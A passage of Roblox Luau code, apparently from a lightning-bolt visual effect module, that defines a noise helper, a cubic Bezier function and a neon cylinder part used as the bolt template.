	return min + (max - min)*(math.noise(x, y, z) + 0.5)
end

local function CubicBezier(p0, p1, p2, p3, t)
	return p0*(1 - t)^3 + p1*3*t*(1 - t)^2 + p2*3*(1 - t)*t^2 + p3*t^3
end

local BoltPart = Instance.new("Part")
BoltPart.TopSurface, BoltPart.BottomSurface = 0, 0
BoltPart.Anchored, BoltPart.CanCollide = true, false
BoltPart.Shape = "Cylinder"
BoltPart.Name = "BoltPart"
BoltPart.CanTouch = false
BoltPart.CastShadow = false
BoltPart.CanQuery = false
BoltPart.Material = Enum.Material.Neon
BoltPart.Color = Color3.new(1, 1, 1)
BoltPart.Transparency = 1

local rng = Random.new()
local xInverse = CFrame.lookAt(Vector3.new(), Vector3.new(1, 0, 0)):inverse()

local ActiveBranches = {}

local LightningBolt = {}
LightningBolt.__index = LightningBolt